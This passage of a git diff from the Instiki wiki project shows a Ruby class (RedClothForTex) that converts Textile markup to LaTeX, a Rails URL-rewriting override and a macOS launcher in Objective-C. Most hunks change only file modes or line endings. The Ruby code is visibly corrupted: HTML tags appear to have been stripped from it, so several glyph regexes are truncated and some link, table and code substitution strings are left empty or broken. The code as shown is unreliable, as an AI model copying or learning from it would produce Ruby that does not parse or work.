lines.join( "\n" ) + end +end + +class RedClothForTex < String + + VERSION = '2.0.7' + + # + # Mapping of 8-bit ASCII codes to HTML numerical entity equivalents. + # (from PyTextile) + # + TEXTILE_TAGS = + + [[128, 8364], [129, 0], [130, 8218], [131, 402], [132, 8222], [133, 8230], + [134, 8224], [135, 8225], [136, 710], [137, 8240], [138, 352], [139, 8249], + [140, 338], [141, 0], [142, 0], [143, 0], [144, 0], [145, 8216], [146, 8217], + [147, 8220], [148, 8221], [149, 8226], [150, 8211], [151, 8212], [152, 732], + [153, 8482], [154, 353], [155, 8250], [156, 339], [157, 0], [158, 0], [159, 376]]. + + collect! do |a, b| + [a.chr, ( b.zero? and "" or "&#{ b };" )] + end + + # + # Regular expressions to convert to HTML. + # + A_HLGN = /(?:(?:<>|<|>|\=|[()]+)+)/ + A_VLGN = /[\-^~]/ + C_CLAS = '(?:\([^)]+\))' + C_LNGE = '(?:\[[^\]]+\])' + C_STYL = '(?:\{[^}]+\})' + S_CSPN = '(?:\\\\\d+)' + S_RSPN = '(?:/\d+)' + A = "(?:#{A_HLGN}?#{A_VLGN}?|#{A_VLGN}?#{A_HLGN}?)" + S = "(?:#{S_CSPN}?#{S_RSPN}|#{S_RSPN}?#{S_CSPN}?)" + C = "(?:#{C_CLAS}?#{C_STYL}?#{C_LNGE}?|#{C_STYL}?#{C_LNGE}?#{C_CLAS}?|#{C_LNGE}?#{C_STYL}?#{C_CLAS}?)" + # PUNCT = Regexp::quote( '!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~' ) + PUNCT = Regexp::quote( '!"#$%&\'*+,-./:;=?@\\^_`|~' ) + HYPERLINK = '(\S+?)([^\w\s/;=\?]*?)(\s|$)' + + GLYPHS = [ + # [ /([^\s\[{(>])?\'([dmst]\b|ll\b|ve\b|\s|:|$)/, '\1’\2' ], # single closing + [ /([^\s\[{(>])\'/, '\1’' ], # single closing + [ /\'(?=\s|s\b|[#{PUNCT}])/, '’' ], # single closing + [ /\'/, '‘' ], # single opening + # [ /([^\s\[{(])?"(\s|:|$)/, '\1”\2' ], # double closing + [ /([^\s\[{(>])"/, '\1”' ], # double closing + [ /"(?=\s|[#{PUNCT}])/, '”' ], # double closing + [ /"/, '“' ], # double opening + [ /\b( )?\.{3}/, '\1…' ], # ellipsis + [ /\b([A-Z][A-Z0-9]{2,})\b(?:[(]([^)]*)[)])/, '\1' ], # 3+ uppercase acronym + [ /(^|[^"][>\s])([A-Z][A-Z0-9 ]{2,})([^\2\3' ], # 3+ uppercase caps + [ /(\.\s)?\s?--\s?/, '\1—' ], # em dash + [ /\s->\s/, ' → ' ], # en dash + [ /\s-\s/, ' – ' ], # en dash + [ /(\d+) ?x ?(\d+)/, '\1×\2' ], # dimension sign + [ /\b ?[(\[]TM[\])]/i, '™' ], # trademark + [ /\b ?[(\[]R[\])]/i, '®' ], # registered + [ /\b ?[(\[]C[\])]/i, '©' ] # copyright + ] + + I_ALGN_VALS = { + '<' => 'left', + '=' => 'center', + '>' => 'right' + } + + H_ALGN_VALS = { + '<' => 'left', + '=' => 'center', + '>' => 'right', + '<>' => 'justify' + } + + V_ALGN_VALS = { + '^' => 'top', + '-' => 'middle', + '~' => 'bottom' + } + + QTAGS = [ + ['**', 'bf'], + ['*', 'bf'], + ['??', 'cite'], + ['-', 'del'], + ['__', 'underline'], + ['_', 'em'], + ['%', 'span'], + ['+', 'ins'], + ['^', 'sup'], + ['~', 'sub'] + ] + + def self.available? + if not defined? @@available + begin + @@available = system "pdflatex -version" + rescue Errno::ENOENT + @@available = false + end + end + @@available + end + + # + # Two accessor for setting security restrictions. + # + # This is a nice thing if you're using RedCloth for + # formatting in public places (e.g. Wikis) where you + # don't want users to abuse HTML for bad things. + # + # If +:filter_html+ is set, HTML which wasn't + # created by the Textile processor will be escaped. + # + # If +:filter_styles+ is set, it will also disable + # the style markup specifier. ('{color: red}') + # + attr_accessor :filter_html, :filter_styles + + # + # Accessor for toggling line folding. + # + # If +:fold_lines+ is set, single newlines will + # not be converted to break tags. + # + attr_accessor :fold_lines + + def initialize( string, restrictions = [] ) + restrictions.each { |r| method( "#{ r }=" ).call( true ) } + super( string ) + end + + # + # Generate tex. + # + def to_tex( lite = false ) + + # make our working copy + text = self.dup + + @urlrefs = {} + @shelf = [] + + # incoming_entities text + fix_entities text + clean_white_space text + + get_refs text + + no_textile text + + unless lite + lists text + table text + end + + glyphs text + + unless lite + fold text + block text + end + + retrieve text + encode_entities text + + text.gsub!(/\[\[(.*?)\]\]/, "\\1") + text.gsub!(/_/, "\\_") + text.gsub!( /<\/?notextile>/, '' ) + # text.gsub!( /x%x%/, '&' ) + # text.gsub!( /
            /, "
            \n" ) + text.strip! + text + + end + + def pgl( text ) + GLYPHS.each do |re, resub| + text.gsub! re, resub + end + end + + def pba( text_in, element = "" ) + + return '' unless text_in + + style = [] + text = text_in.dup + if element == 'td' + colspan = $1 if text =~ /\\(\d+)/ + rowspan = $1 if text =~ /\/(\d+)/ + style << "vertical-align:#{ v_align( $& ) };" if text =~ A_VLGN + end + + style << "#{ $1 };" if not @filter_styles and + text.sub!( /\{([^}]*)\}/, '' ) + + lang = $1 if + text.sub!( /\[([^)]+?)\]/, '' ) + + cls = $1 if + text.sub!( /\(([^()]+?)\)/, '' ) + + style << "padding-left:#{ $1.length }em;" if + text.sub!( /([(]+)/, '' ) + + style << "padding-right:#{ $1.length }em;" if text.sub!( /([)]+)/, '' ) + + style << "text-align:#{ h_align( $& ) };" if text =~ A_HLGN + + cls, id = $1, $2 if cls =~ /^(.*?)#(.*)$/ + + atts = '' + atts << " style=\"#{ style.join }\"" unless style.empty? + atts << " class=\"#{ cls }\"" unless cls.to_s.empty? + atts << " lang=\"#{ lang }\"" if lang + atts << " id=\"#{ id }\"" if id + atts << " colspan=\"#{ colspan }\"" if colspan + atts << " rowspan=\"#{ rowspan }\"" if rowspan + + atts + end + + def table( text ) + text << "\n\n" + text.gsub!( /^(?:table(_?#{S}#{A}#{C})\. ?\n)?^(#{A}#{C}\.? ?\|.*?\|)\n\n/m ) do |matches| + + tatts, fullrow = $~[1..2] + tatts = pba( tatts, 'table' ) + rows = [] + + fullrow. + split( /\|$/m ). + delete_if { |x| x.empty? }. + each do |row| + + ratts, row = pba( $1, 'tr' ), $2 if row =~ /^(#{A}#{C}\. )(.*)/m + + cells = [] + row.split( '|' ).each do |cell| + ctyp = 'd' + ctyp = 'h' if cell =~ /^_/ + + catts = '' + catts, cell = pba( $1, 'td' ), $2 if cell =~ /^(_?#{S}#{A}#{C}\. )(.*)/ + + unless cell.strip.empty? + cells << "\t\t\t#{ cell }" + end + end + rows << "\t\t\n#{ cells.join( "\n" ) }\n\t\t" + end + "\t\n#{ rows.join( "\n" ) }\n\t\n\n" + end + end + + def lists( text ) + text.gsub!( /^([#*]+?#{C} .*?)$(?![^#*])/m ) do |match| + lines = match.split( /\n/ ) + last_line = -1 + depth = [] + lines.each_with_index do |line, line_id| + if line =~ /^([#*]+)(#{A}#{C}) (.*)$/m + tl,atts,content = $~[1..3] + if depth.last + if depth.last.length > tl.length + (depth.length - 1).downto(0) do |i| + break if depth[i].length == tl.length + lines[line_id - 1] << "\n\t\\end{#{ lT( depth[i] ) }}\n\t" + depth.pop + end + end + if !depth.last.nil? && !tl.length.nil? && depth.last.length == tl.length + lines[line_id - 1] << '' + end + end + unless depth.last == tl + depth << tl + atts = pba( atts ) + lines[line_id] = "\t\\begin{#{ lT(tl) }}\n\t\\item #{ content }" + else + lines[line_id] = "\t\t\\item #{ content }" + end + last_line = line_id + + elsif line =~ /^\s+\S/ + last_line = line_id + elsif line_id - last_line < 2 and line =~ /^\S/ + last_line = line_id + end + if line_id - last_line > 1 or line_id == lines.length - 1 + depth.delete_if do |v| + lines[last_line] << "\n\t\\end{#{ lT( v ) }}" + end + end + end + lines.join( "\n" ) + end + end + + def lT( text ) + text =~ /\#$/ ? 'enumerate' : 'itemize' + end + + def fold( text ) + text.gsub!( /(.+)\n(?![#*\s|])/, "\\1\\\\\\\\" ) + # text.gsub!( /(.+)\n(?![#*\s|])/, "\\1#{ @fold_lines ? ' ' : '
            ' }" ) + end + + def block( text ) + pre = false + find = ['bq','h[1-6]','fn\d+'] + + regexp_cue = [] + + lines = text.split( /\n/ ) + [' '] + new_text = + lines.collect do |line| + pre = true if line =~ /<(pre|notextile)>/i + find.each do |tag| + line.gsub!( /^(#{ tag })(#{A}#{C})\.(?::(\S+))? (.*)$/ ) do |m| + tag,atts,cite,content = $~[1..4] + + atts = pba( atts ) + + if tag =~ /fn(\d+)/ + # tag = 'p'; + # atts << " id=\"fn#{ $1 }\"" + regexp_cue << [ /footnote\{#{$1}}/, "footnote{#{content}}" ] + content = "" + end + + if tag =~ /h([1-6])/ + section_type = "sub" * [$1.to_i - 1, 2].min + start = "\t\\#{section_type}section*{" + tend = "}" + end + + if tag == "bq" + cite = check_refs( cite ) + cite = " cite=\"#{ cite }\"" if cite + start = "\t\\begin{quotation}\n\\noindent {\\em "; + tend = "}\n\t\\end{quotation}"; + end + + "#{ start }#{ content }#{ tend }" + end unless pre + end + + #line.gsub!( /^(?!\t|<\/?pre|<\/?notextile|<\/?code|$| )(.*)/, "\t

            \\1

            " ) + + #line.gsub!( "
            ", "\n" ) if pre + # pre = false if line =~ /<\/(pre|notextile)>/i + + line + end.join( "\n" ) + text.replace( new_text ) + regexp_cue.each { |pair| text.gsub!(pair.first, pair.last) } + end + + def span( text ) + QTAGS.each do |tt, ht| + ttr = Regexp::quote( tt ) + text.gsub!( + + /(^|\s|\>|[#{PUNCT}{(\[]) + #{ttr} + (#{C}) + (?::(\S+?))? + ([^\s#{ttr}]+?(?:[^\n]|\n(?!\n))*?) + ([#{PUNCT}]*?) + #{ttr} + (?=[\])}]|[#{PUNCT}]+?|<|\s|$)/xm + + ) do |m| + + start,atts,cite,content,tend = $~[1..5] + atts = pba( atts ) + atts << " cite=\"#{ cite }\"" if cite + + "#{ start }{\\#{ ht } #{ content }#{ tend }}" + + end + end + end + + def links( text ) + text.gsub!( / + ([\s\[{(]|[#{PUNCT}])? # $pre + " # start + (#{C}) # $atts + ([^"]+?) # $text + \s? + (?:\(([^)]+?)\)(?="))? # $title + ": + (\S+?) # $url + (\/)? # $slash + ([^\w\/;]*?) # $post + (?=\s|$) + /x ) do |m| + pre,atts,text,title,url,slash,post = $~[1..7] + + url = check_refs( url ) + + atts = pba( atts ) + atts << " title=\"#{ title }\"" if title + atts = shelve( atts ) if atts + + "#{ pre }#{ text }#{ post }" + end + end + + def get_refs( text ) + text.gsub!( /(^|\s)\[(.+?)\]((?:http:\/\/|javascript:|ftp:\/\/|\/)\S+?)(?=\s|$)/ ) do |m| + flag, url = $~[1..2] + @urlrefs[flag] = url + end + end + + def check_refs( text ) + @urlrefs[text] || text + end + + def image( text ) + text.gsub!( / + \! # opening + (\<|\=|\>)? # optional alignment atts + (#{C}) # optional style,class atts + (?:\. )? # optional dot-space + ([^\s(!]+?) # presume this is the src + \s? # optional space + (?:\(((?:[^\(\)]|\([^\)]+\))+?)\))? # optional title + \! # closing + (?::#{ HYPERLINK })? # optional href + /x ) do |m| + algn,atts,url,title,href,href_a1,href_a2 = $~[1..7] + atts = pba( atts ) + atts << " align=\"#{ i_align( algn ) }\"" if algn + atts << " title=\"#{ title }\"" if title + atts << " alt=\"#{ title }\"" + # size = @getimagesize($url); + # if($size) $atts.= " $size[3]"; + + href = check_refs( href ) if href + url = check_refs( url ) + + out = '' + out << "" if href + out << "" + out << "#{ href_a1 }#{ href_a2 }" if href + + out + end + end + + def code( text ) + text.gsub!( / + (?:^|([\s\(\[{])) # 1 open bracket? + @ # opening + (?:\|(\w+?)\|)? # 2 language + (\S(?:[^\n]|\n(?!\n))*?) # 3 code + @ # closing + (?:$|([\]})])| + (?=[#{PUNCT}]{1,2}| + \s)) # 4 closing bracket? + /x ) do |m| + before,lang,code,after = $~[1..4] + lang = " language=\"#{ lang }\"" if lang + "#{ before }#{ code }
            #{ after }" + end + end + + def shelve( val ) + @shelf << val + " <#{ @shelf.length }>" + end + + def retrieve( text ) + @shelf.each_with_index do |r, i| + text.gsub!( " <#{ i + 1 }>", r ) + end + end + + def incoming_entities( text ) + ## turn any incoming ampersands into a dummy character for now. + ## This uses a negative lookahead for alphanumerics followed by a semicolon, + ## implying an incoming html entity, to be skipped + + text.gsub!( /&(?![#a-z0-9]+;)/i, "x%x%" ) + end + + def encode_entities( text ) + ## Convert high and low ascii to entities. + # if $-K == "UTF-8" + # encode_high( text ) + # else + text.texesc!( :NoQuotes ) + # end + end + + def fix_entities( text ) + ## de-entify any remaining angle brackets or ampersands + text.gsub!( "\&", "&" ) + text.gsub!( "\%", "%" ) + end + + def clean_white_space( text ) + text.gsub!( /\r\n/, "\n" ) + text.gsub!( /\t/, '' ) + text.gsub!( /\n{3,}/, "\n\n" ) + text.gsub!( /\n *\n/, "\n\n" ) + text.gsub!( /"$/, "\" " ) + end + + def no_textile( text ) + text.gsub!( /(^|\s)==(.*?)==(\s|$)?/, + '\1\2\3' ) + end + + def footnote_ref( text ) + text.gsub!( /\[([0-9]+?)\](\s)?/, + '\footnote{\1}\2') + #'\1\2' ) + end + + def inline( text ) + image text + links text + code text + span text + end + + def glyphs_deep( text ) + codepre = 0 + offtags = /(?:code|pre|kbd|notextile)/ + if text !~ /<.*>/ + # pgl text + footnote_ref text + else + used_offtags = {} + text.gsub!( /(?:[^<].*?(?=<[^\n]*?>|$)|<[^\n]*?>+)/m ) do |line| + tagline = ( line =~ /^<.*>/ ) + + ## matches are off if we're between ,
             etc.
            +          if tagline
            +            if line =~ /<(#{ offtags })>/i
            +              codepre += 1
            +              used_offtags[$1] = true
            +              line.texesc!( :NoQuotes ) if codepre - used_offtags.length > 0
            +            elsif line =~ /<\/(#{ offtags })>/i
            +              line.texesc!( :NoQuotes ) if codepre - used_offtags.length > 0
            +              codepre -= 1 unless codepre.zero?
            +              used_offtags = {} if codepre.zero?
            +            elsif @filter_html or codepre > 0
            +              line.texesc!( :NoQuotes )
            +              ## line.gsub!( /<(\/?#{ offtags })>/, '<\1>' )
            +            end 
            +            ## do htmlspecial if between 
            +          elsif codepre > 0
            +            line.texesc!( :NoQuotes )
            +            ## line.gsub!( /<(\/?#{ offtags })>/, '<\1>' )
            +          elsif not tagline
            +            inline line
            +            glyphs_deep line
            +          end
            +          
            +          line
            +        end
            +      end
            +    end
            +    
            +    def glyphs( text ) 
            +      text.gsub!( /"\z/, "\" " )
            +      ## if no html, do a simple search and replace...
            +      if text !~ /<.*>/
            +        inline text
            +      end
            +      glyphs_deep text
            +    end
            +    
            +    def i_align( text )
            +      I_ALGN_VALS[text]
            +    end
            +    
            +    def h_align( text ) 
            +      H_ALGN_VALS[text]
            +    end
            +    
            +    def v_align( text ) 
            +      V_ALGN_VALS[text]
            +    end
            +    
            +    def encode_high( text )
            +      ## mb_encode_numericentity($text, $cmap, $charset);
            +    end
            +    
            +    def decode_high( text )
            +      ## mb_decode_numericentity($text, $cmap, $charset);
            +    end
            +    
            +    def textile_popup_help( name, helpvar, windowW, windowH )
            +        ' ' + name + '
            ' + end + + CMAP = [ + 160, 255, 0, 0xffff, + 402, 402, 0, 0xffff, + 913, 929, 0, 0xffff, + 931, 937, 0, 0xffff, + 945, 969, 0, 0xffff, + 977, 978, 0, 0xffff, + 982, 982, 0, 0xffff, + 8226, 8226, 0, 0xffff, + 8230, 8230, 0, 0xffff, + 8242, 8243, 0, 0xffff, + 8254, 8254, 0, 0xffff, + 8260, 8260, 0, 0xffff, + 8465, 8465, 0, 0xffff, + 8472, 8472, 0, 0xffff, + 8476, 8476, 0, 0xffff, + 8482, 8482, 0, 0xffff, + 8501, 8501, 0, 0xffff, + 8592, 8596, 0, 0xffff, + 8629, 8629, 0, 0xffff, + 8656, 8660, 0, 0xffff, + 8704, 8704, 0, 0xffff, + 8706, 8707, 0, 0xffff, + 8709, 8709, 0, 0xffff, + 8711, 8713, 0, 0xffff, + 8715, 8715, 0, 0xffff, + 8719, 8719, 0, 0xffff, + 8721, 8722, 0, 0xffff, + 8727, 8727, 0, 0xffff, + 8730, 8730, 0, 0xffff, + 8733, 8734, 0, 0xffff, + 8736, 8736, 0, 0xffff, + 8743, 8747, 0, 0xffff, + 8756, 8756, 0, 0xffff, + 8764, 8764, 0, 0xffff, + 8773, 8773, 0, 0xffff, + 8776, 8776, 0, 0xffff, + 8800, 8801, 0, 0xffff, + 8804, 8805, 0, 0xffff, + 8834, 8836, 0, 0xffff, + 8838, 8839, 0, 0xffff, + 8853, 8853, 0, 0xffff, + 8855, 8855, 0, 0xffff, + 8869, 8869, 0, 0xffff, + 8901, 8901, 0, 0xffff, + 8968, 8971, 0, 0xffff, + 9001, 9002, 0, 0xffff, + 9674, 9674, 0, 0xffff, + 9824, 9824, 0, 0xffff, + 9827, 9827, 0, 0xffff, + 9829, 9830, 0, 0xffff, + 338, 339, 0, 0xffff, + 352, 353, 0, 0xffff, + 376, 376, 0, 0xffff, + 710, 710, 0, 0xffff, + 732, 732, 0, 0xffff, + 8194, 8195, 0, 0xffff, + 8201, 8201, 0, 0xffff, + 8204, 8207, 0, 0xffff, + 8211, 8212, 0, 0xffff, + 8216, 8218, 0, 0xffff, + 8218, 8218, 0, 0xffff, + 8220, 8222, 0, 0xffff, + 8224, 8225, 0, 0xffff, + 8240, 8240, 0, 0xffff, + 8249, 8250, 0, 0xffff, + 8364, 8364, 0, 0xffff + ] + end diff --git a/libraries/url_rewriting_hack.rb b/libraries/url_rewriting_hack.rb old mode 100755 new mode 100644 index f7708f5d..f7ad1c50 --- a/libraries/url_rewriting_hack.rb +++ b/libraries/url_rewriting_hack.rb @@ -1,107 +1,107 @@ -# Below are some hacks to Rails internal classes that implement Instiki URLs scheme. -# It is no doubt a bad practice to override internal implementation of anything. -# When Rails implements some way to do it in the framework, this code should be replaced -# with something more legitimate. - -# In Instiki URLs are mapped to the ActionPack actions, possibly performed on a particular -# web (sub-wiki) and page within that web. -# -# 1. Controller is determined by action name (default is 'wiki') -# 2. '/name1/' maps to action 'name1', unspecified web -# Example: http://localhost/new_system/ -# 3. Special case of above, URI '/wiki/' maps to action 'index', because Rails sets this address -# when default controller name is specified as 'wiki', and an application root -# (http://localhost:2500/)is requested. -# 4. '/name1/name2/' maps to web 'name1', action 'name2' -# Example: http://localhost/mywiki/search/ -# 5. '/name1/name2/name3/' maps to web 'name1', action 'name2', -# Example: http://localhost/mywiki/show/HomePage - - -require 'dispatcher' - -# Overrides Rails DispatchServlet.parse_uri -class DispatchServlet - - def self.parse_uri(path) - result = parse_path(path) - if result - result[:controller] = ActionMapper.map_to_controller(result[:action]) - result - else - false - end - end - - def self.parse_path(path) - ApplicationController.logger.debug "Parsing URI '#{path}'" - component = '([-_a-zA-Z0-9]+)' - page_name = '(.*)' - case path.sub(%r{^/(?:fcgi|mruby|cgi)/}, "/") - when '/wiki/' - { :web => nil, :controller => 'wiki', :action => 'index' } - when %r{^/#{component}/?$} - { :web => nil, :controller => 'wiki', :action => $1 } - when %r{^/#{component}/#{component}/?$} - { :web => $1, :controller => 'wiki', :action => $2 } - when %r{^/#{component}/#{component}/(.*)/?$} - { :web => $1, :controller => 'wiki', :action => $2, :id => drop_trailing_slash($3) } - else - false - end - end - - def self.drop_trailing_slash(line) - if line[-1] == ?/ - line.chop - else - line - end - end - - class ActionMapper - - @@action_to_controller_map = { - 'file' => 'file', - 'pic' => 'file' - } - - def self.map_to_controller(action) - @@action_to_controller_map[action] || 'wiki' - end - - end - -end - - -require 'action_controller/url_rewriter.rb' - -# Overrides parts of AP UrlRewriter to achieve the Instiki's legacy URL scheme -module ActionController - class UrlRewriter - - VALID_OPTIONS << :web unless VALID_OPTIONS.include? :web - - private - - def resolve_aliases(options) - options[:controller_prefix] = options[:web] unless options[:web].nil? - options - end - - def controller_name(options, controller_prefix) - ensure_slash_suffix(options, :controller_prefix) - - controller_name = case options[:controller_prefix] - when String: options[:controller_prefix] - when false : "" - when nil : controller_prefix || "" - end - # In Instiki we don't need the controller name (there is only one comtroller, anyway) - # therefore the below line is commented out - # controller_name << (options[:controller] + "/") if options[:controller] - return controller_name - end - end -end +# Below are some hacks to Rails internal classes that implement Instiki URLs scheme. +# It is no doubt a bad practice to override internal implementation of anything. +# When Rails implements some way to do it in the framework, this code should be replaced +# with something more legitimate. + +# In Instiki URLs are mapped to the ActionPack actions, possibly performed on a particular +# web (sub-wiki) and page within that web. +# +# 1. Controller is determined by action name (default is 'wiki') +# 2. '/name1/' maps to action 'name1', unspecified web +# Example: http://localhost/new_system/ +# 3. Special case of above, URI '/wiki/' maps to action 'index', because Rails sets this address +# when default controller name is specified as 'wiki', and an application root +# (http://localhost:2500/)is requested. +# 4. '/name1/name2/' maps to web 'name1', action 'name2' +# Example: http://localhost/mywiki/search/ +# 5. '/name1/name2/name3/' maps to web 'name1', action 'name2', +# Example: http://localhost/mywiki/show/HomePage + + +require 'dispatcher' + +# Overrides Rails DispatchServlet.parse_uri +class DispatchServlet + + def self.parse_uri(path) + result = parse_path(path) + if result + result[:controller] = ActionMapper.map_to_controller(result[:action]) + result + else + false + end + end + + def self.parse_path(path) + ApplicationController.logger.debug "Parsing URI '#{path}'" + component = '([-_a-zA-Z0-9]+)' + page_name = '(.*)' + case path.sub(%r{^/(?:fcgi|mruby|cgi)/}, "/") + when '/wiki/' + { :web => nil, :controller => 'wiki', :action => 'index' } + when %r{^/#{component}/?$} + { :web => nil, :controller => 'wiki', :action => $1 } + when %r{^/#{component}/#{component}/?$} + { :web => $1, :controller => 'wiki', :action => $2 } + when %r{^/#{component}/#{component}/(.*)/?$} + { :web => $1, :controller => 'wiki', :action => $2, :id => drop_trailing_slash($3) } + else + false + end + end + + def self.drop_trailing_slash(line) + if line[-1] == ?/ + line.chop + else + line + end + end + + class ActionMapper + + @@action_to_controller_map = { + 'file' => 'file', + 'pic' => 'file' + } + + def self.map_to_controller(action) + @@action_to_controller_map[action] || 'wiki' + end + + end + +end + + +require 'action_controller/url_rewriter.rb' + +# Overrides parts of AP UrlRewriter to achieve the Instiki's legacy URL scheme +module ActionController + class UrlRewriter + + VALID_OPTIONS << :web unless VALID_OPTIONS.include? :web + + private + + def resolve_aliases(options) + options[:controller_prefix] = options[:web] unless options[:web].nil? + options + end + + def controller_name(options, controller_prefix) + ensure_slash_suffix(options, :controller_prefix) + + controller_name = case options[:controller_prefix] + when String: options[:controller_prefix] + when false : "" + when nil : controller_prefix || "" + end + # In Instiki we don't need the controller name (there is only one comtroller, anyway) + # therefore the below line is commented out + # controller_name << (options[:controller] + "/") if options[:controller] + return controller_name + end + end +end diff --git a/natives/osx/desktop_launcher/AppDelegate.h b/natives/osx/desktop_launcher/AppDelegate.h old mode 100755 new mode 100644 index a50769f5..c2b8f4f1 --- a/natives/osx/desktop_launcher/AppDelegate.h +++ b/natives/osx/desktop_launcher/AppDelegate.h @@ -1,18 +1,18 @@ -/* AppDelegate */ - -#import - -@interface AppDelegate : NSObject -{ - IBOutlet NSMenu* statusMenu; - NSTask* serverCommand; - int processID; - BOOL shouldOpenUntitled; - - NSNetService* service; -} -- (IBAction)about:(id)sender; -- (IBAction)goToHomepage:(id)sender; -- (IBAction)goToInstikiOrg:(id)sender; -- (IBAction)quit:(id)sender; -@end +/* AppDelegate */ + +#import + +@interface AppDelegate : NSObject +{ + IBOutlet NSMenu* statusMenu; + NSTask* serverCommand; + int processID; + BOOL shouldOpenUntitled; + + NSNetService* service; +} +- (IBAction)about:(id)sender; +- (IBAction)goToHomepage:(id)sender; +- (IBAction)goToInstikiOrg:(id)sender; +- (IBAction)quit:(id)sender; +@end diff --git a/natives/osx/desktop_launcher/AppDelegate.mm b/natives/osx/desktop_launcher/AppDelegate.mm old mode 100755 new mode 100644 index 8e0435a2..be3339cc --- a/natives/osx/desktop_launcher/AppDelegate.mm +++ b/natives/osx/desktop_launcher/AppDelegate.mm @@ -1,109 +1,109 @@ -#include -#include -#import "AppDelegate.h" - -int launch_ruby (char const* cmd) -{ - int pId, parentID = getpid(); - if((pId = fork()) == 0) // child - { - NSLog(@"set child (%d) to pgrp %d", getpid(), parentID); - setpgrp(0, parentID); - system(cmd); - return 0; - } - else // parent - { - NSLog(@"started child process: %d", pId); - return pId; - } -} - -@implementation AppDelegate - -- (NSString*)storageDirectory -{ - NSString* dir = [NSHomeDirectory() stringByAppendingPathComponent:@"Library/Application Support/Instiki"]; - [[NSFileManager defaultManager] createDirectoryAtPath:dir attributes:nil]; - return dir; -} - -- (void)awakeFromNib -{ - setpgrp(0, getpid()); - - if([[[[NSBundle mainBundle] infoDictionary] objectForKey:@"LSUIElement"] isEqualToString:@"1"]) - { - NSStatusBar* bar = [NSStatusBar systemStatusBar]; - NSStatusItem* item = [[bar statusItemWithLength:NSVariableStatusItemLength] retain]; - [item setTitle:@"Wiki"]; - [item setHighlightMode:YES]; - [item setMenu:statusMenu]; - } - - NSBundle* bundle = [NSBundle bundleForClass:[self class]]; - NSString* ruby = [bundle pathForResource:@"ruby" ofType:nil]; - NSString* script = [[bundle resourcePath] stringByAppendingPathComponent:@"rb_src/instiki.rb"]; - if(ruby && script) - { - NSString* cmd = [NSString stringWithFormat: - @"%@ -I '%@' -I '%@' '%@' -s --storage='%@'", - ruby, - [[bundle resourcePath] stringByAppendingPathComponent:@"lib/ruby/1.8"], - [[bundle resourcePath] stringByAppendingPathComponent:@"lib/ruby/1.8/powerpc-darwin"], - script, - [self storageDirectory] - ]; - NSLog(@"starting %@", cmd); - processID = launch_ruby([cmd UTF8String]); - } - - /* public the service using rendezvous */ - service = [[NSNetService alloc] - initWithDomain:@"" // default domain - type:@"_http._tcp." - name:[NSString stringWithFormat:@"%@'s Instiki", NSFullUserName()] - port:2500]; - [service publish]; -} - -- (void)applicationWillTerminate:(NSNotification*)aNotification -{ - [service stop]; - [service release]; - - kill(0, SIGTERM); -} - -- (IBAction)about:(id)sender -{ - [NSApp activateIgnoringOtherApps:YES]; - [NSApp orderFrontStandardAboutPanel:self]; -} - -- (IBAction)goToHomepage:(id)sender -{ - [[NSWorkspace sharedWorkspace] openURL:[NSURL URLWithString:@"http://localhost:2500/"]]; -} - -- (IBAction)goToInstikiOrg:(id)sender -{ - [[NSWorkspace sharedWorkspace] openURL:[NSURL URLWithString:@"http://www.instiki.org/"]]; -} - -- (BOOL)applicationShouldOpenUntitledFile:(NSApplication*)sender -{ - return shouldOpenUntitled ?: (shouldOpenUntitled = YES, NO); -} - -- (BOOL)applicationOpenUntitledFile:(NSApplication*)theApplication -{ - return [self goToHomepage:self], YES; -} - -- (IBAction)quit:(id)sender -{ - [NSApp terminate:self]; -} - -@end +#include +#include +#import "AppDelegate.h" + +int launch_ruby (char const* cmd) +{ + int pId, parentID = getpid(); + if((pId = fork()) == 0) // child + { + NSLog(@"set child (%d) to pgrp %d", getpid(), parentID); + setpgrp(0, parentID); + system(cmd); + return 0; + } + else // parent + { + NSLog(@"started child process: %d", pId); + return pId; + } +} + +@implementation AppDelegate + +- (NSString*)storageDirectory +{ + NSString* dir = [NSHomeDirectory() stringByAppendingPathComponent:@"Library/Application Support/Instiki"]; + [[NSFileManager defaultManager] createDirectoryAtPath:dir attributes:nil]; + return dir; +} + +- (void)awakeFromNib +{ + setpgrp(0, getpid()); + + if([[[[NSBundle mainBundle] infoDictionary] objectForKey:@"LSUIElement"] isEqualToString:@"1"]) + { + NSStatusBar* bar = [NSStatusBar systemStatusBar]; + NSStatusItem* item = [[bar statusItemWithLength:NSVariableStatusItemLength] retain]; + [item setTitle:@"Wiki"]; + [item setHighlightMode:YES]; + [item setMenu:statusMenu]; + } + + NSBundle* bundle = [NSBundle bundleForClass:[self class]]; + NSString* ruby = [bundle pathForResource:@"ruby" ofType:nil]; + NSString* script = [[bundle resourcePath] stringByAppendingPathComponent:@"rb_src/instiki.rb"]; + if(ruby && script) + { + NSString* cmd = [NSString stringWithFormat: + @"%@ -I '%@' -I '%@' '%@' -s --storage='%@'", + ruby, + [[bundle resourcePath] stringByAppendingPathComponent:@"lib/ruby/1.8"], + [[bundle resourcePath] stringByAppendingPathComponent:@"lib/ruby/1.8/powerpc-darwin"], + script, + [self storageDirectory] + ]; + NSLog(@"starting %@", cmd); + processID = launch_ruby([cmd UTF8String]); + } + + /* public the service using rendezvous */ + service = [[NSNetService alloc] + initWithDomain:@"" // default domain + type:@"_http._tcp." + name:[NSString stringWithFormat:@"%@'s Instiki", NSFullUserName()] + port:2500]; + [service publish]; +} + +- (void)applicationWillTerminate:(NSNotification*)aNotification +{ + [service stop]; + [service release]; + + kill(0, SIGTERM); +} + +- (IBAction)about:(id)sender +{ + [NSApp activateIgnoringOtherApps:YES]; + [NSApp orderFrontStandardAboutPanel:self]; +} + +- (IBAction)goToHomepage:(id)sender +{ + [[NSWorkspace sharedWorkspace] openURL:[NSURL URLWithString:@"http://localhost:2500/"]]; +} + +- (IBAction)goToInstikiOrg:(id)sender +{ + [[NSWorkspace sharedWorkspace] openURL:[NSURL URLWithString:@"http://www.instiki.org/"]]; +} + +- (BOOL)applicationShouldOpenUntitledFile:(NSApplication*)sender +{ + return shouldOpenUntitled ?: (shouldOpenUntitled = YES, NO); +} + +- (BOOL)applicationOpenUntitledFile:(NSApplication*)theApplication +{ + return [self goToHomepage:self], YES; +} + +- (IBAction)quit:(id)sender +{ + [NSApp terminate:self]; +} + +@end diff --git a/natives/osx/desktop_launcher/Credits.html b/natives/osx/desktop_launcher/Credits.html old mode 100755 new mode 100644 index dfc9053c..99ff9627 --- a/natives/osx/desktop_launcher/Credits.html +++ b/natives/osx/desktop_launcher/Credits.html @@ -1,16 +1,16 @@ -
            -
            Engineering:
            -
            Some people
            - -
